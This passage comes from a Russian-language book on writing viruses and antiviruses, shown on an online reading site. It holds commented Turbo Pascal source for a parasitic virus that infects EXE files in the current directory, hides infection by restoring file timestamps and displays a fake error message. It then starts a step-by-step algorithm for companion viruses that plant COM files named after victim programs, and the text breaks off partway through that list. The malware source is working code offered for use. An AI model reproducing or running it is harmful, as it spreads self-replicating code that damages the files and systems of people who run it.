Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 9

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

TargetFile);

      Reset(Target, 1);

      {Записывам тело вируса в начало файла}

      BlockWrite(Target, VirBuf, VirLen);

      {Перемещаем указатель текущей позиции

      на длину вируса от начала файла}

      Seek(Target, VirLen);

      {Вписываем метку заражения}

      BlockWrite(Target, LabelBuf, 5);

      {Устанавливаем дату и время файла}

      SetFTime(Target, Time);

      {Закрываем}

      Close(Target);

      {Увеличиваем счетчик инфицированных файлов}

      Inc(InfFiles);

      end;

      end;

      {Начало процедуры FindTarget}

      begin

      {Ищем в текущем каталоге файлы по маске *.EXE

      с атрибутами Archive}

      FindFirst(’*.EXE’, Archive, Sr);

      {Пока есть файлы для заражения}

      While DosError=0 Do

      begin

      If Sr.Name=’’ Then Exit;

      {Запоминаем имя найденного файла в переменную TargetFile}

      TargetFile:=Sr.Name;

      {Вызываем процедуру заражения}

      InfectFile;

      {Если заразили InfCount файлов, завершаем поиск}

      If InfFiles > InfCount Then Exit;

      {Ищем следующий файл по маске}

      FindNext(Sr);

      end;

      end;

      {Основное тело}

      begin

      {Инициализируемся}

      Init;

      {Ищем жертвы и заражаем их}

      FindTarget;

      {Выдаем на экран сообщение об ошибке}

      WriteLn(’Abnormal program termination.’);

      {Это чтобы компилятор вставил в код константы VirName

      и Author, условие же поставлено таким образом,

      что эти строки никогда не будут выведены на экран}

      If 2=3 Then

      begin

      WriteLn(VirName);

      WriteLn(Author);

      end;

      end.

      Вирусы-спутники (Companion)

      Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

      Инфицирование методом создания COM-файла спутника

      Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

      Заражение производится с помощью командного процессора:

      1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

      2. Найти EXE-файл-жертву.

      3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.

      4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.

      5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.

      6. Процедурой

Скачать книгу